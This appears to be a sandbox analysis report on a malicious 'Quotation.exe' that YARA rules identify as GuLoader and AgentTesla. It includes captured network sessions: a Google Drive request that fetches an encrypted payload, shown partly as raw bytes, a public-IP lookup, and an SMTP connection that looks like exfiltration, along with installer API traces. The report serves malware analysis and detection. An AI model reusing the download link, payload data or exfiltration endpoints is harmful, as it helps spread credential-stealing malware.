https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49974	172.217.16.129	443	1212	C:\Users\user\Desktop\Quotation.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 09:45:21 UTC	258	OUT	GET /download?id=1Of5kNy0BP9ETJWGaeMWfLrbVk-DyWIxf&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-10-31 09:45:24 UTC	4915	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="oCyyum127.bin" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 240192 Last-Modified: Wed, 30 Oct 2024 08:37:31 GMT X-GUploader-UploadID: AHmUCY2kZK4YgmhOWRV8smChwiaYRV95Zu4EeGOWyv1Ulz4mK9rRx1xeT1o5f4LhEGxxDa3LtRib3ZQWXQ Date: Thu, 31 Oct 2024 09:45:23 GMT Expires: Thu, 31 Oct 2024 09:45:23 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=R8aO1Q== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-31 09:45:24 UTC	4915	IN	Data Raw: 19 8f 66 49 96 b1 24 ae ce 0b c5 6c 0b a5 9f 93 73 eb a0 4e f8 a2 2c 0b 32 da 39 75 16 f9 9f 37 d7 9e a2 bc fd ba 21 e0 83 20 8e 6f cf 91 18 3e fa a0 4b e3 cb be d0 cf 25 67 46 85 da 05 ff 64 d8 5b 1f aa 14 db 9d b7 3b 7a 17 e1 93 0a 02 b7 92 d9 5f 04 7b 3a ec 5e b0 ef b5 d5 c3 62 33 ec 76 50 da 00 9e 35 6a 5f 78 92 5f 57 59 56 0e fd 57 18 ba 9c 48 ef 71 04 52 04 5e 0a 53 b8 5d ad aa 87 fd 52 71 c1 47 92 b4 f0 27 9f aa f0 02 9f ef 9b 55 d7 f2 fd bd 43 6e 1d 53 aa 9c a8 00 03 69 a2 93 99 80 48 ab 1d e9 ea 6c 9e a7 bf 47 2d 39 80 b0 18 eb 50 56 94 d0 c2 77 f3 51 99 8c 90 58 55 e4 46 d9 0f ee 42 af a7 1a e6 95 83 40 0d 16 ef da 75 97 29 6b 23 0c e3 18 89 cb 8e 32 55 36 7f d3 74 26 48 59 54 7f 74 b7 a8 ce 9c c2 fe d7 69 b7 34 dc 38 de 10 7f ad ad af 18 38 92 Data Ascii: fI$lsN,29u7! o>K%gFd[;z_{:^b3vP5j_x_WYVWHqR^S]RqG'UCnSiHlG-9PVwQXUFB@u)k#2U6t&HYTti488
2024-10-31 09:45:24 UTC	4866	IN	Data Raw: b3 e0 e1 81 10 fa 00 5a 11 f7 e4 1f 9a b2 43 37 7f b7 b9 7b ac bb 28 0b 88 03 19 77 76 c7 bf e8 11 0e 7f bc 62 5b c7 0e 57 ef 97 4f 2a 47 e8 20 cf 7b 27 0f 73 d4 e2 15 a9 6a e5 7b 2f 81 28 ea b0 ff e6 69 16 9e 01 df 0a 3e e6 e4 58 88 3a 11 15 f4 8d 71 1f 6c 9d 2a 6d 66 33 f4 f0 39 64 37 22 7d 82 21 20 d9 dd a1 d8 2f 75 d6 25 31 cc ef 04 53 9f 54 15 5d 15 34 5b a7 38 00 22 45 44 4c e9 58 c8 31 a7 4c b9 32 6b d9 f2 1c a5 1d 4c d7 e0 42 c5 92 41 41 a1 e4 a2 96 33 3e 4a e6 c1 8f 2e e3 4f 41 e8 40 c0 e2 13 bc 0c 13 06 b1 b8 fb 97 16 6f b4 bf 1e 10 a4 9f 7e 7f 4a 82 bf 09 b8 62 43 bd 89 25 1f 30 e4 33 81 87 99 89 41 d8 de 2e 8c 34 2e 22 7b a3 75 42 e8 14 2f c0 8a 7c 27 cf 65 a9 c5 9f b1 0d c6 48 86 11 27 b5 bd 2d 13 5a 9d a2 82 db 2e c3 a1 9e 57 48 af 32 fb e0 Data Ascii: ZC7{(wvb[WOG {'sj{/(i>X:qlmf39d7"}! /u%1ST]4[8"EDLX1L2kLBAA3>J.OA@o~JbC%03A.4."{uB/\|'eH'-Z.WH2
2024-10-31 09:45:24 UTC	1378	IN	Data Raw: 1f 22 76 95 13 54 be bf 30 a1 a1 83 d2 f7 4b 6c ae 05 66 62 b9 cf 84 7a 61 76 d4 47 23 8b dc ac fc 13 74 92 14 74 2e 9b d5 a2 a5 11 94 a2 1d 99 96 03 81 63 1c 34 43 a7 d1 ae b7 91 f2 8f d3 f1 14 81 0b d1 e6 28 99 17 ce 12 32 5c 61 6e 7c 16 6c 91 da 1a f4 02 15 7e 53 38 d5 b7 cf f2 dc bc d9 fb 30 df 0a 38 5f 37 de 70 1b 19 a8 61 46 2e 89 14 47 2a 16 b4 1d ac 0b f6 cb 04 70 f5 5a aa a1 37 f8 19 29 c6 5e 2c 4e dd bb 13 c8 b8 8d 2f 80 98 dc 85 16 92 d1 01 6b 2f fd 01 e0 da 61 1f e3 ed 33 11 1b 1a 87 8a 6d 37 39 d9 d4 20 58 21 29 6d fc 1a 08 c6 14 5a 17 05 a7 e8 83 1f 10 ef 61 74 be 2e a2 f3 99 42 21 c9 f6 64 ed 5f ab 4b a6 75 42 09 6b bc 62 58 2b f7 ba 85 20 1c 5d 7a 40 e4 01 3d 72 34 c1 69 ab 6c 40 aa 39 b3 fc 05 05 38 6b f7 cd 06 81 76 71 6a 2d 95 c7 bb b5 Data Ascii: "vT0KlfbzavG#tt.c4C(2\an\|l~S808_7paF.G*pZ7)^,N/k/a3m79 X!)mZat.B!d_KuBkbX+ ]z@=r4il@98kvqj-
2024-10-31 09:45:24 UTC	1378	IN	Data Raw: 1b 9e 2e 59 99 b6 03 7f 6d 1c ca 6d b7 d1 ae 49 63 ff 83 f3 f7 ea 8d 07 2f c7 15 9c 17 ce ec 0b 60 43 6e 7c 2e 64 65 25 e5 f6 3d 15 7e 4a 28 c6 b7 d6 f3 b6 e4 f9 bb 30 ce 20 c6 51 33 de ae 10 1a a8 59 bd 21 85 14 47 2a 16 bb 1d ac 1a f6 cb 04 70 f5 5a a7 a1 37 f8 19 29 c2 5e fa 7c dc bb 59 5e fc 8d 2f a1 60 d2 85 16 4c ca 02 6b 2f fd 03 ef da 41 e3 ef e1 33 cf 13 23 96 8a 93 36 fe c3 d4 20 a6 d1 24 68 dc 31 49 c6 14 ae e7 08 a7 e8 5d 19 13 ef 41 8e b0 22 a2 0d 66 77 0e c9 d6 67 13 56 ab b5 db 2f 58 09 6f 42 90 56 29 09 48 88 21 34 30 38 40 cf f5 cd 7c 37 e1 4c af 6c 40 54 c9 be f0 05 fb ca 64 fb ed 27 a1 76 71 94 d2 ad e8 ad b5 4a ed 0f 9b ac 8a 92 25 17 e1 d7 bd b1 88 d6 19 be ed e3 36 e8 45 6c 3c 2e ae 57 bf ab fc a4 86 24 02 bd 2d 3b 07 fb bd 55 39 19 Data Ascii: .YmmIc/`Cn\|.de%=~J(0 Q3Y!G*pZ7)^\|Y^/`Lk/A3#6 $h1I]A"fwgV/XoBV)H!408@\|7Ll@Td'vqJ%6El<.W$-;U9
2024-10-31 09:45:24 UTC	1378	IN	Data Raw: 15 7e 59 e6 c4 8e c1 f2 b6 e4 c9 cb 30 df 00 e6 58 33 de 50 e0 17 ab 61 b8 de 89 17 47 f4 11 b8 1d 8c e1 f7 f2 24 8e f4 63 4f a8 37 f8 9c 41 c2 5e 00 8e d0 ba 19 3f 9b 8d 2f 85 09 e9 85 16 b4 e4 0d 6b 2f 03 f1 e2 d9 61 e1 11 ed 30 31 32 1a 87 8a 93 c8 01 f6 de 20 58 df 25 48 fd 32 49 c6 ea 5e ea 0b a7 16 af 16 10 cf 6d 8a b0 22 5c f2 5e 4b 2d c9 d6 5f e8 5f ab b5 9f 92 a5 f6 94 c2 d0 54 29 fd ba 80 20 1c cc 31 42 e4 f5 ca 7f 37 e9 7a af 6c 46 80 c7 a6 c0 00 05 d6 66 fb cd 2d a1 76 60 4a d3 94 fe ad 4b 44 10 06 a3 df f1 f1 25 17 1b 25 b0 b1 a8 f4 1b be ed 1d c9 df 48 6c 3c d0 9a 89 bf 8b ff 84 85 24 fc bc ea 2a 04 fb bd 55 39 1b 9d cc b9 01 ef 5e 79 97 95 19 95 58 92 6d 73 c6 50 49 62 de 2f 87 87 48 2b 31 ae c0 5e 60 92 d3 d1 29 6c c9 19 e4 ed 1c ea 33 e7 Data Ascii: ~Y0X3PaG$cO7A^?/k/a012 X%H2I^m"\^K-__T) 1B7zlFf-v`JKD%%Hl<$*U9^yXmsPIb/H+1^`)l3
2024-10-31 09:45:24 UTC	1378	IN	Data Raw: 26 d8 e7 25 c2 5e fa 7e df bb 21 c5 fc 8d 2f 81 98 de 87 16 92 c5 01 6b 2f fd 0e d5 c6 61 e1 ef 1f 3a 31 12 61 f3 8a 93 32 28 93 d4 20 52 e5 88 68 fc 32 69 c4 14 50 e9 f5 a9 ea a3 15 ee e3 63 8a 90 20 a2 f3 67 b0 2c f0 c4 67 ed 5f 8b b5 a7 4c 58 f7 65 bc 9c 74 2a f7 44 89 df 12 30 38 40 1a 07 c1 7c 17 c1 49 af 6c be ab fe b7 f0 05 05 c6 47 fa cd 26 a1 88 7f 68 d3 94 00 a1 b7 4a 33 05 9b ac f1 0f 24 2e e0 29 b3 b1 b0 f3 1b be ed db b2 19 b9 93 c2 d9 a2 54 c4 fe ff a4 82 01 02 b2 15 24 f9 f6 bd ab 1d 45 9d ec b2 ff e6 5e 87 ed d8 0b 95 5c ba 4b 73 c6 56 b7 95 d0 2f f5 9c 48 2b 41 d3 4a 50 63 96 0e 3c 25 6f c9 c7 e8 ed 1c d3 c4 e6 53 e0 bc 3f 40 6e 5d b2 8b 3c 26 35 41 1a 2a f2 85 b7 d4 f1 cd b8 f9 7c 59 95 ea 00 98 68 2f 4a 54 8d 2a 2e 29 22 80 bc 31 fb f1 Data Ascii: &%^~!/k/a:1a2( Rh2iPc g,g_LXetD08@\|IlG&hJ3$.)T$E^\KsV/H+AJPc<%oS?@n]<&5A\|Yh/JT*.)"1
2024-10-31 09:45:24 UTC	1378	IN	Data Raw: fc 6d 58 df 23 48 ff 32 49 c6 ea 5e e9 0b a7 16 af 15 10 cf 68 8a b0 22 5c f2 5e 6d 2d c9 d6 99 e4 5f ab 9d e2 4c 58 0f 95 b5 9d 54 09 84 44 89 21 e2 33 67 79 e9 09 c3 7c 17 cb 49 af 6c be a4 c7 bd f0 fb 09 c6 67 db da 26 a1 76 8f 6b ea 9e fe ad b5 60 33 1e 9b ac f1 0f 2b 17 e5 29 4d bd 88 f6 3b f4 ed e3 c8 18 47 55 36 d0 a2 54 95 ab b4 a4 86 24 02 b2 14 24 07 05 b1 ab 35 38 fc ec b8 01 11 5f be b4 ac 0b 95 a6 9b 4d 73 e3 2b 3d 9c d0 2b f5 2b 4e 2b 41 86 25 50 63 98 ae 5b 25 6f cd 19 86 ed 1c ea 33 e8 53 e0 42 cd 4d 6e 75 cc b9 3c 2c e9 95 1a 03 f8 85 b5 d4 4f ed b3 35 7c 4a 6b e4 00 98 7b e1 45 54 da 0b 69 29 2f 80 42 21 e2 fb 96 64 1d 6f 26 e9 22 72 f5 d1 06 25 1a 64 b3 6f 57 fe 5e 24 53 e2 5f 45 71 a8 12 03 88 fd 18 2c db e5 47 e4 a6 5e 57 62 2e c2 6f Data Ascii: mX#H2I^h"\^m-_LXTD!3gy\|Ilg&vk`3+)M;GU6T$$58_Ms+=++N+A%Pc[%o3SBMnu<,O5\|Jk{ETi)/B!do&"r%doW^$S_Eq,G^Wb.o
2024-10-31 09:45:24 UTC	1378	IN	Data Raw: 74 15 f7 44 89 df 1d 0b 2f 40 e4 0b 3d 75 36 c1 69 df 6c 40 aa 87 d6 0d fa fa e6 5a fb cd 26 5f 78 71 6a d3 6a f2 ad b5 6a 1b 06 9b ac 0f f0 1c 1d e5 29 b3 9b a8 ff 1b be ed 1d c6 e6 46 6c c2 dc a2 54 9f b2 ff a4 86 da fd 85 03 24 07 fb 43 a2 34 18 bd e1 b8 01 ef 1e 28 69 53 f4 b5 62 92 4d 73 38 5e 49 9c d0 d1 8b a7 4a 0b 14 ae 3e 50 9d 93 ea 0d 25 6f c9 c7 ed ed 1c cf b6 92 53 e0 46 41 9f 6a 75 9c a3 27 2c e9 61 66 4e f2 85 b1 f4 43 cd 80 35 82 44 95 ea 00 66 77 1f 49 74 f1 2b 2e 29 d1 81 85 02 db f1 96 9a 14 45 06 84 59 06 f5 2f 0c 57 f0 60 4d 13 7f e5 7e 6a 59 9f 2b bb 70 95 25 2f 88 fd e6 db d4 e5 67 92 58 52 57 22 3c 84 6f 25 2b 7d c4 09 5b da c1 21 22 05 b1 70 bf e8 3b 2e 76 a2 b0 69 8e 07 3b 12 6e 68 b7 ea b5 e2 40 07 52 ab bc c2 3d f2 26 45 1f ff Data Ascii: tD/@=u6il@Z&_xqjjj)FlT$C4(iSbMs8^IJ>P%oSFAju',afNC5DfwIt+.)EY/W`M~jY+p%/gXRW"<o%+}[!"p;.vi;nh@R=&E
2024-10-31 09:45:24 UTC	1378	IN	Data Raw: 65 a5 f1 f1 00 6c 91 29 b3 b5 fa 7c 1e be 9d cb d3 e6 46 66 41 a4 a2 54 bb ab ac a4 86 24 02 b2 14 24 07 05 b1 ab 35 38 97 ec b8 01 11 5f be b4 ac 0b 95 a6 9b 4d 73 e3 2b 3d 9c d0 2b f5 33 4f 2b 41 86 25 50 63 98 ae 5b 25 6f cd 19 ef ed 1c ea 33 e8 53 e0 42 cd 4d 6e 75 cc 86 3c 2c e9 95 1a 03 d0 85 b5 d4 9b c4 80 35 59 31 e1 ea 00 9c 09 b9 4c 54 aa 03 35 29 2f 8a c1 54 db f1 92 44 13 45 06 a1 dc 7c f5 2f 08 db 16 64 4d 43 54 fe 7e 6a ad e3 66 ac 70 91 05 fd 81 fc e6 05 d2 e5 67 92 e6 92 a0 dd e3 ed 6b 25 2b 83 3b 3e 79 da c1 df d0 0c b1 50 d2 93 4f 2e 88 a7 fb 86 8a 07 4b c4 7c 69 b7 c0 bc 96 40 07 16 69 f4 c2 3d d2 91 4b 1f ff 9a ee ba a0 b3 1e 13 8f 14 da 62 65 10 f7 1a 1e 5d a9 47 37 5f 4a b0 7a ac 65 53 32 99 03 59 a5 72 34 41 c8 b4 00 7f bc bc 51 c7 Data Ascii: el)\|FfAT$$58_Ms+=+3O+A%Pc[%o3SBMnu<,5Y1LT5)/TDE\|/dMCT~jfpgk%+;>yPO.K\|i@i=Kbe]G7_JzeS2Yr4AQ
2024-10-31 09:45:24 UTC	1378	IN	Data Raw: 21 be 5e 87 96 52 0a ac 4f 92 4d 73 38 59 48 9c f0 58 87 a7 4a 6b ef 5f c1 af 43 c0 d3 2f 25 91 c7 39 e4 ed e2 e6 cd e6 73 d4 42 33 41 90 74 d5 a9 3c 2c e9 95 12 3a f2 a0 ce a0 65 cd 84 47 4e 4c 95 9a 28 83 7b 1f 43 29 ae 2b 2e 2d 0f b5 bc 20 db 0f 98 64 1d 45 f8 ad 22 72 d5 76 08 25 1a 9a 4c 5a 5d fe 7e 6a 79 c2 05 bb 70 91 fb 0d 88 fd e6 db d6 e5 67 b2 85 5e 57 22 e2 cc 56 2f 2b 83 c5 1a 59 fe c1 21 dc f2 bf 70 9a 93 b1 22 76 a6 e2 89 8a 07 4b c4 74 51 a0 e0 c8 96 be 0e 57 8b d6 e4 3d f2 d8 0b 28 08 9b 1f 9a b9 b3 e0 1f 71 1a fa 38 65 ee fb e4 1f 44 cf 47 37 5f 4a b8 42 83 45 29 32 67 0a 19 77 ad b0 ca e8 ef 04 81 b5 42 5f 39 07 56 11 b1 04 2a 47 10 43 a9 7b 07 04 5b cf e2 eb a2 2e 83 7b 2f 85 7b 8c b0 ff ec 69 16 9f 01 ff f6 32 e6 e4 86 aa 3e 11 15 f4 Data Ascii: !^ROMs8YHXJk_C/%9sB3At<,:eGNL({C)+.- dE"rv%LZ]~jypg^W"V/+Y!p"vKtQW=(q8eDG7_JBE)2gwB_9V*GC{[.{/{i2>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49975	172.67.74.152	443	1212	C:\Users\user\Desktop\Quotation.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 09:45:26 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-10-31 09:45:26 UTC	211	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 09:45:26 GMT Content-Type: text/plain Content-Length: 14 Connection: close Vary: Origin cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 8db2b6549e174755-DFW
2024-10-31 09:45:26 UTC	14	IN	Data Raw: 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 Data Ascii: 173.254.250.77

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Oct 31, 2024 10:45:29.273474932 CET	587	49976	67.23.226.139	192.168.2.9	220-super.nseasy.com ESMTP Exim 4.96.2 #2 Thu, 31 Oct 2024 05:45:29 -0400 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Oct 31, 2024 10:45:29.273715973 CET	49976	587	192.168.2.9	67.23.226.139	EHLO 897506
Oct 31, 2024 10:45:29.436853886 CET	587	49976	67.23.226.139	192.168.2.9	250-super.nseasy.com Hello 897506 [173.254.250.77] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-STARTTLS 250 HELP
Oct 31, 2024 10:45:29.437043905 CET	49976	587	192.168.2.9	67.23.226.139	STARTTLS
Oct 31, 2024 10:45:29.587775946 CET	587	49976	67.23.226.139	192.168.2.9	220 TLS go ahead

Target ID:	0
Start time:	05:44:04
Start date:	31/10/2024
Path:	C:\Users\user\Desktop\Quotation.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Quotation.exe"
Imagebase:	0x400000
File size:	1'197'176 bytes
MD5 hash:	5607E8B6D0197E51EC19233E72BC2036
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.1962376405.00000000059AE000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	05:45:05
Start date:	31/10/2024
Path:	C:\Users\user\Desktop\Quotation.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Quotation.exe"
Imagebase:	0x400000
File size:	1'197'176 bytes
MD5 hash:	5607E8B6D0197E51EC19233E72BC2036
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000005.00000002.2623639299.0000000036293000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000005.00000002.2623639299.000000003628B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.2623639299.0000000036261000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000005.00000002.2623639299.0000000036261000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	30.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	27.2%
Total number of Nodes:	826
Total number of Limit Nodes:	18

Executed Functions

Function 004036DA Relevance: 84.4, APIs: 32, Strings: 16, Instructions: 416
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00008001), ref: 004036F6
GetVersionExW.KERNEL32(?), ref: 0040371F
GetVersionExW.KERNEL32(?), ref: 00403732
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 004037DA
#17.COMCTL32(00000007,00000009,0000000B), ref: 00403814
OleInitialize.OLE32(00000000), ref: 0040381B
SHGetFileInfoW.SHELL32(004085B0,00000000,?,000002B4,00000000), ref: 0040383A
GetCommandLineW.KERNEL32(007A7540,NSIS Error), ref: 0040384F
CharNextW.USER32(00000000,007B3000,?,007B3000,00000000), ref: 0040389B
GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\), ref: 00403999
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 004039AA
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004039B6
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004039CA
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 004039D2
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low), ref: 004039E3
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\), ref: 004039EB
DeleteFileW.KERNELBASE(1033), ref: 00403A05

Part of subcall function 004033CB: GetTickCount.KERNEL32 ref: 004033DE
Part of subcall function 004033CB: GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\Quotation.exe,00000400), ref: 004033FA

lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu,007B3000,00000000,00000000), ref: 00403AA8
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,00408600,C:\Users\user\AppData\Local\Temp\,~nsu,007B3000,00000000,00000000), ref: 00403ABB
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,007B3000,00000000,00000000), ref: 00403ACA
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,007B3000,00000000,00000000), ref: 00403AD9
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\), ref: 00403B01
DeleteFileW.KERNEL32(0079F200,0079F200,?,007A9000,?), ref: 00403B54
CopyFileW.KERNEL32(C:\Users\user\Desktop\Quotation.exe,0079F200,?), ref: 00403B66
CloseHandle.KERNEL32(00000000,0079F200,0079F200,?,0079F200,00000000), ref: 00403B9F

Part of subcall function 00405DFC: CreateDirectoryW.KERNELBASE(?,00000000,C:\Users\user\AppData\Local\Temp\,00403CA7,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,76F93420,004039A0), ref: 00405E04
Part of subcall function 00405DFC: GetLastError.KERNEL32 ref: 00405E0E

OleUninitialize.OLE32(00000000), ref: 00403BCD
ExitProcess.KERNEL32 ref: 00403BE4
GetCurrentProcess.KERNEL32(00000028,?), ref: 00403BFA
OpenProcessToken.ADVAPI32(00000000), ref: 00403C01
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403C16
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 00403C39
ExitWindowsEx.USER32(00000002,80040002), ref: 00403C5E

Part of subcall function 004065D4: CharNextW.USER32(?,0040389A,007B3000,?,007B3000,00000000), ref: 004065EA

Strings

.tmp, xrefs: 00403AC0
Error launching installer, xrefs: 00403A4D
Error writing temporary file. Make sure your temp folder is valid., xrefs: 004036E6
1033, xrefs: 00403A00
Low, xrefs: 004039CC
TMP, xrefs: 004039E6
SeShutdownPrivilege, xrefs: 00403C10
C:\Users\user\AppData\Local\Temp\, xrefs: 0040398E, 00403993, 004039A9, 004039B5, 004039C4, 004039D1, 004039DD, 004039E5, 00403AA1, 00403AB6, 00403AC5, 00403AD4, 00403AE7, 00403AFC, 00403BB4
UXTHEME, xrefs: 004037CE, 004037D3, 004037D9
\Temp, xrefs: 004039B0
NSIS Error, xrefs: 00403840
TEMP, xrefs: 004039DE
C:\Users\user\overlays\besvangredes\unnaturalism, xrefs: 00403A78
C:\Users\user\Desktop\Quotation.exe, xrefs: 00403B61
C:\Users\user\Desktop, xrefs: 00403ACF, 00403B10
~nsu, xrefs: 00403A9C

Memory Dump Source

Source File: 00000000.00000002.1950641214.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1950628419.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950654842.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1952731849.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: Filelstrcat$DirectoryProcess$CharCurrentDeleteEnvironmentErrorExitNextPathTempTokenVariableVersionWindows$AdjustCloseCommandCopyCountCreateHandleInfoInitializeLastLineLookupModeModuleNameOpenPrivilegePrivilegesTickUninitializeValuelstrcmpilstrlen
String ID: .tmp$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\Quotation.exe$C:\Users\user\overlays\besvangredes\unnaturalism$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 1152188737-1512374475
Opcode ID: 12ebdcd378dca8b2cb256432fecdbae80df5df33235eb46f5e0670d6daf7f44b
Instruction ID: ef6c2823884109cd5a884fcd16d1840cc0f2fcd0ed87f9f7bcd5e2f232321f3d
Opcode Fuzzy Hash: 12ebdcd378dca8b2cb256432fecdbae80df5df33235eb46f5e0670d6daf7f44b
Instruction Fuzzy Hash: B8D14DB16043106AD7207FB19D45B6B3EECAB4574AF05443FF585B62D2DBBC8A40872E

Function 0040154A Relevance: 37.2, APIs: 17, Strings: 4, Instructions: 441
stringtimesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostQuitMessage.USER32(00000000), ref: 004015F1
Sleep.KERNELBASE(00000001,?,00000000,00000000), ref: 00401628
SetForegroundWindow.USER32 ref: 00401634
ShowWindow.USER32(?,00000000,?,?,00000000,00000000), ref: 004016D3
ShowWindow.USER32(?,?,?,?,00000000,00000000), ref: 004016E8
